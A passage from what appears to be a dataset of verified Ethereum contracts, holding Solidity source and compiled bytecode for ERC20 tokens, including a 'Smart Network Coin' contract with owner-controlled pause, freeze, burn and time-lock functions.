virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c6e0ee8e9849c449371a7a78e7ec59234ab3edb895a72df7eb86fd2f345139a764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,998
0x92938484badee74857b6caff3658a356ed50d203
// ---------------------------------------------------------------------------- // Smart Network Coin Contract // Name : Smart Network Coin // Symbol : SNC // Decimals : 18 // Initial Supply : 10,000,000,000 SNC // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract SmartNetworkCoin is ERC20 { string public constant name = "Smart Network Coin"; string public constant symbol = "SNC"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105dc565b604080519115158252519081900360200190f35b6102586105f2565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105f9565b6102a86106e0565b6040805160ff9092168252519081900360200190f35b6102586106e5565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106f5565b6102fa610736565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610823565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108cc565b6040805192835260208301919091528051918290030190f35b61023c610945565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610955565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109ef565b6102fa610c9d565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d86565b6103f7610e32565b604080516001600160a01b039092168252519081900360200190f35b61019b610e41565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e63565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f61565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f9d565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661106f565b61023c600480360360608110156104e357600080fd5b506001600160a01b03813516906020810135906040013561109a565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112b7565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112d2565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b0316611441565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661145f565b6040518060400160405280601281526020017f536d617274204e6574776f726b20436f696e000000000000000000000000000081525081565b60006105e93384846114bc565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106535760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106c45760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106cd846115ae565b6106d88484846117d1565b949350505050565b601281565b6b204fce5e3e2502611000000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610731908663ffffffff61182316565b6114bc565b6003546001600160a01b031633146107875760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107e85760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108745760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108f357fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061092857fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109ce576001600160a01b038416600090815260056020526040902080546109c49190839081106109a357fe5b9060005260206000209060020201600101548361182390919063ffffffff16565b915060010161095a565b506109e8816109dc85611880565b9063ffffffff61182316565b9392505050565b6003546001600160a01b03163314610a405760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610aaf5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610b11919083908110610ad857fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61182316565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b6557fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610bb057fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c6f576001600160a01b038216600090815260056020526040902080546000198101908110610c1257fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c5057fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c98906000198301611bc2565b505050565b6003546001600160a01b03163314610cee5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d455760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dd75760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b62534e430281525081565b6003546001600160a01b03163314610eb45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ebd82611880565b811115610f145760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f1e828261189b565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610731908663ffffffff61196516565b3360009081526004602052604081205460ff16156110055760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561105c5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b611065336115ae565b6109e883836119c5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110ee5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661114c5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611161906001600160a01b0316611880565b8311156111b85760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111e3908463ffffffff61196516565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d31833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4